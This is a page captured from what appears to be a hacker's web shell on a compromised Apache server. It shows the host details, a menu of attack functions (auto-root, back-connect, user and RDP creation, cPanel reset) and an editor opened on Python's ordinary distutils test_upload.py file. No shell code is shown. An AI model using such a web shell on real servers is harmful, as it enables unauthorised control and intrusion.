Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 13.58.201.240
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
python35 /
lib /
python3.5 /
distutils /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
Setup.sample
2.2
KB
-rw-r--r--
__init__.py
1.04
KB
-rw-r--r--
support.py
6.38
KB
-rw-r--r--
test_archive_util.py
14
KB
-rw-r--r--
test_bdist.py
1.51
KB
-rw-r--r--
test_bdist_dumb.py
2.83
KB
-rw-r--r--
test_bdist_msi.py
728
B
-rw-r--r--
test_bdist_rpm.py
4.96
KB
-rw-r--r--
test_bdist_wininst.py
1.02
KB
-rw-r--r--
test_build.py
1.87
KB
-rw-r--r--
test_build_clib.py
4.86
KB
-rw-r--r--
test_build_ext.py
18.75
KB
-rw-r--r--
test_build_py.py
6.15
KB
-rw-r--r--
test_build_scripts.py
3.51
KB
-rw-r--r--
test_check.py
5.13
KB
-rw-r--r--
test_clean.py
1.43
KB
-rw-r--r--
test_cmd.py
3.75
KB
-rw-r--r--
test_config.py
3.78
KB
-rw-r--r--
test_config_cmd.py
2.54
KB
-rw-r--r--
test_core.py
3.05
KB
-rw-r--r--
test_cygwinccompiler.py
5.54
KB
-rw-r--r--
test_dep_util.py
2.77
KB
-rw-r--r--
test_dir_util.py
4.54
KB
-rw-r--r--
test_dist.py
15.67
KB
-rw-r--r--
test_extension.py
2.7
KB
-rw-r--r--
test_file_util.py
4.02
KB
-rw-r--r--
test_filelist.py
11.21
KB
-rw-r--r--
test_install.py
8.15
KB
-rw-r--r--
test_install_data.py
2.54
KB
-rw-r--r--
test_install_headers.py
1.23
KB
-rw-r--r--
test_install_lib.py
3.84
KB
-rw-r--r--
test_install_scripts.py
2.56
KB
-rw-r--r--
test_log.py
1.26
KB
-rw-r--r--
test_msvc9compiler.py
5.9
KB
-rw-r--r--
test_msvccompiler.py
3.84
KB
-rw-r--r--
test_register.py
9.54
KB
-rw-r--r--
test_sdist.py
16.1
KB
-rw-r--r--
test_spawn.py
1.81
KB
-rw-r--r--
test_sysconfig.py
8.2
KB
-rw-r--r--
test_text_file.py
3.36
KB
-rw-r--r--
test_unixccompiler.py
4.76
KB
-rw-r--r--
test_upload.py
5.39
KB
-rw-r--r--
test_util.py
10.99
KB
-rw-r--r--
test_version.py
2.55
KB
-rw-r--r--
test_versionpredicate.py
280
B
-rw-r--r--
xxmodule.c
12.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_upload.py
"""Tests for distutils.command.upload.""" import os import unittest import unittest.mock as mock from urllib.request import HTTPError from test.support import run_unittest from distutils.command import upload as upload_mod from distutils.command.upload import upload from distutils.core import Distribution from distutils.errors import DistutilsError from distutils.log import ERROR, INFO from distutils.tests.test_config import PYPIRC, BasePyPIRCCommandTestCase PYPIRC_LONG_PASSWORD = """\ [distutils] index-servers = server1 server2 [server1] username:me password:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa [server2] username:meagain password: secret realm:acme repository:http://another.pypi/ """ PYPIRC_NOPASSWORD = """\ [distutils] index-servers = server1 [server1] username:me """ class FakeOpen(object): def __init__(self, url, msg=None, code=None): self.url = url if not isinstance(url, str): self.req = url else: self.req = None self.msg = msg or 'OK' self.code = code or 200 def getheader(self, name, default=None): return { 'content-type': 'text/plain; charset=utf-8', }.get(name.lower(), default) def read(self): return b'xyzzy' def getcode(self): return self.code class uploadTestCase(BasePyPIRCCommandTestCase): def setUp(self): super(uploadTestCase, self).setUp() self.old_open = upload_mod.urlopen upload_mod.urlopen = self._urlopen self.last_open = None self.next_msg = None self.next_code = None def tearDown(self): upload_mod.urlopen = self.old_open super(uploadTestCase, self).tearDown() def _urlopen(self, url): self.last_open = FakeOpen(url, msg=self.next_msg, code=self.next_code) return self.last_open def test_finalize_options(self): # new format self.write_file(self.rc, PYPIRC) dist = Distribution() cmd = upload(dist) cmd.finalize_options() for attr, waited in (('username', 'me'), ('password', 'secret'), ('realm', 'pypi'), ('repository', 'https://upload.pypi.org/legacy/')): self.assertEqual(getattr(cmd, attr), waited) def test_saved_password(self): # file with no password self.write_file(self.rc, PYPIRC_NOPASSWORD) # make sure it passes dist = Distribution() cmd = upload(dist) cmd.finalize_options() self.assertEqual(cmd.password, None) # make sure we get it as well, if another command # initialized it at the dist level dist.password = 'xxx' cmd = upload(dist) cmd.finalize_options() self.assertEqual(cmd.password, 'xxx') def test_upload(self): tmp = self.mkdtemp() path = os.path.join(tmp, 'xxx') self.write_file(path) command, pyversion, filename = 'xxx', '2.6', path dist_files = [(command, pyversion, filename)] self.write_file(self.rc, PYPIRC_LONG_PASSWORD) # lets run it pkg_dir, dist = self.create_dist(dist_files=dist_files) cmd = upload(dist) cmd.show_response = 1 cmd.ensure_finalized() cmd.run() # what did we send ? headers = dict(self.last_open.req.headers) self.assertEqual(headers['Content-length'], '2162') content_type = headers['Content-type'] self.assertTrue(content_type.startswith('multipart/form-data')) self.assertEqual(self.last_open.req.get_method(), 'POST') expected_url = 'https://upload.pypi.org/legacy/' self.assertEqual(self.last_open.req.get_full_url(), expected_url) self.assertTrue(b'xxx' in self.last_open.req.data) self.assertIn(b'protocol_version', self.last_open.req.data) # The PyPI response body was echoed results = self.get_logs(INFO) self.assertEqual(results[-1], 75 * '-' + '\nxyzzy\n' + 75 * '-') def test_upload_fails(self): self.next_msg = "Not Found" self.next_code = 404 self.assertRaises(DistutilsError, self.test_upload) def test_wrong_exception_order(self): tmp = self.mkdtemp() path = os.path.join(tmp, 'xxx') self.write_file(path) dist_files = [('xxx', '2.6', path)] # command, pyversion, filename self.write_file(self.rc, PYPIRC_LONG_PASSWORD) pkg_dir, dist = self.create_dist(dist_files=dist_files) tests = [ (OSError('oserror'), 'oserror', OSError), (HTTPError('url', 400, 'httperror', {}, None), 'Upload failed (400): httperror', DistutilsError), ] for exception, expected, raised_exception in tests: with self.subTest(exception=type(exception).__name__): with mock.patch('distutils.command.upload.urlopen', new=mock.Mock(side_effect=exception)): with self.assertRaises(raised_exception): cmd = upload(dist) cmd.ensure_finalized() cmd.run() results = self.get_logs(ERROR) self.assertIn(expected, results[-1]) self.clear_logs() def test_suite(): return unittest.makeSuite(uploadTestCase) if __name__ == "__main__": run_unittest(test_suite())
Close